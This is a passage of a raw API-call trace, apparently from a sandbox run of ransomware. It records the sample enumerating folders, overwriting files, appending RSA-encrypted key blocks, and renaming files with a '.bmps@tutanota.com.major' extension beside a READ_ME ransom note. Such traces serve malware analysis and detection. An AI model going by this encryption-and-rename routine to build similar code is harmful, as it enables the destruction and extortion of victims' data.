dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0141.882] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80254) returned 1 [0141.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1397e) returned 0x60d870 [0141.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1397e) returned 0x2f40048 [0141.882] ReadFile (in: hFile=0x4dc, lpBuffer=0x60d870, nNumberOfBytesToRead=0x1397e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x1397e, lpOverlapped=0x0) returned 1 [0141.898] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=-80254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.898] WriteFile (in: hFile=0x4dc, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x1397e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1397e, lpOverlapped=0x0) returned 1 [0141.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0141.899] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1397e [0141.899] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.899] WriteFile (in: hFile=0x4dc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="WNIqTiJj1fXlmGCKBa2jFe7d/z20j8rkrGrQL5IpAEYjuqquTXmJGZs+d75xW0Ed\n7fAyEpLPRQ9Ui2ed2TUKHX+qs8hXIjD0rGLkJY2J0CPhFKR90a4yduPj0tYtq2dE\nQrz6qdwMTrkE+CApnBMKO1YrcgAZbEh+sHfIQYApYxmoGJMuy1v98Mu72Q0Q/yuX\nkn3HB8tmppf1GUMBFBcyMS9e7apIeMqCQZypQFxRi1C8+HhKCdSdZH/iyF/yD45b\n2rGZYaU+FT0P0Z2uwf9Ef+hsXT7MFLz6izvYzLELueaw/mjQYjAmSO5iOTsdxrdA\nP865jDTf9NACtS7Wf/bfmQ==\n", pcchString=0x2e3f9a8) returned 1 [0141.900] WriteFile (in: hFile=0x4dc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.900] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.900] WriteFile (in: hFile=0x4dc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.900] CloseHandle (hObject=0x4dc) returned 1 [0141.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.900] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0141.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0141.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0141.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.902] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.902] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2070\\eula.rtf", dwFileAttributes=0x80) returned 1 [0141.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0141.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0141.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0141.903] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0141.903] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4015) returned 1 [0141.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfaf) returned 0x60d870 [0141.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfaf) returned 0x60e828 [0141.903] ReadFile (in: hFile=0x4dc, lpBuffer=0x60d870, nNumberOfBytesToRead=0xfaf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xfaf, lpOverlapped=0x0) returned 1 [0141.929] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=-4015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.929] WriteFile (in: hFile=0x4dc, lpBuffer=0x60e828*, nNumberOfBytesToWrite=0xfaf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e828*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfaf, lpOverlapped=0x0) returned 1 [0141.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e828 | out: hHeap=0x570000) returned 1 [0141.929] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfaf [0141.930] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.930] WriteFile (in: hFile=0x4dc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.930] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.930] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.930] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.930] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="K3HNE38L65icClFaA9MY6L78+fvavPbyUfnypgNI5VBkhiBodKEhPd3oe5cmE6VO\n9u6DEVYHiq+Cvg8k1quUKUmWvYsqAniuKGhEITBKJpsRTT1DHc2TvC8xHjs4Qpn1\nAyp7ZDyl8agQ/sFXQz61QaqafLOYfzU3pNGTVMU7L0gQ+Tjk+D5IbCyoiSte/b5v\n1++LZ0mwd558/NCg5K/q+xubXVuKwgQYaAOfrKHRWzOofusc7IXkDmYrLiYp1bKR\nwYLJoR3bw8j7Gz5n/reiSU41XKa4WjuPs7CypvTzOpkKW6S1CGR6m58M4g1ThgfI\nSvtWNRHh1Fi4s15XSGumdQ==\n", pcchString=0x2e3f9a8) returned 1 [0141.930] WriteFile (in: hFile=0x4dc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.930] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.930] WriteFile (in: hFile=0x4dc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.930] CloseHandle (hObject=0x4dc) returned 1 [0141.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.930] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\2070\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaf8 | out: hHeap=0x570000) returned 1 [0141.932] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x6341f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b55f0 [0141.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0141.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0141.932] GetLastError () returned 0x0 [0141.933] SetLastError (dwErrCode=0x0) [0141.933] GetLastError () returned 0x0 [0141.933] SetLastError (dwErrCode=0x0) [0141.933] GetLastError () returned 0x0 [0141.933] SetLastError (dwErrCode=0x0) [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5630 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5630 | out: hHeap=0x570000) returned 1 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0141.933] FindNextFileW (in: hFindFile=0x5b55f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x6341f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0141.933] GetLastError () returned 0x0 [0141.933] SetLastError (dwErrCode=0x0) [0141.933] GetLastError () returned 0x0 [0141.933] SetLastError (dwErrCode=0x0) [0141.933] GetLastError () returned 0x0 [0141.933] SetLastError (dwErrCode=0x0) [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b52b0 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b52b0 | out: hHeap=0x570000) returned 1 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0141.933] FindNextFileW (in: hFindFile=0x5b55f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0141.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0141.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0141.933] GetLastError () returned 0x0 [0141.933] SetLastError (dwErrCode=0x0) [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0141.934] FindNextFileW (in: hFindFile=0x5b55f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0141.934] FindNextFileW (in: hFindFile=0x5b55f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6341f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x6341f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x6341f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0141.934] GetLastError () returned 0x0 [0141.934] SetLastError (dwErrCode=0x0) [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.934] FindNextFileW (in: hFindFile=0x5b55f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0141.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0141.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0141.934] GetLastError () returned 0x0 [0141.935] SetLastError (dwErrCode=0x0) [0141.935] GetLastError () returned 0x0 [0141.935] SetLastError (dwErrCode=0x0) [0141.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0141.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0141.935] GetLastError () returned 0x0 [0141.935] SetLastError (dwErrCode=0x0) [0141.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0141.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0141.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0141.935] FindNextFileW (in: hFindFile=0x5b55f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0141.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0141.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.935] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.935] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0141.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0141.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0141.935] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0141.936] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14168) returned 1 [0141.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3758) returned 0x60d870 [0141.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3758) returned 0x610fd0 [0141.936] ReadFile (in: hFile=0x4e0, lpBuffer=0x60d870, nNumberOfBytesToRead=0x3758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x3758, lpOverlapped=0x0) returned 1 [0141.949] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=-14168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.949] WriteFile (in: hFile=0x4e0, lpBuffer=0x610fd0*, nNumberOfBytesToWrite=0x3758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x610fd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3758, lpOverlapped=0x0) returned 1 [0141.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610fd0 | out: hHeap=0x570000) returned 1 [0141.950] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3758 [0141.950] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.950] WriteFile (in: hFile=0x4e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.951] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.951] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.951] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: 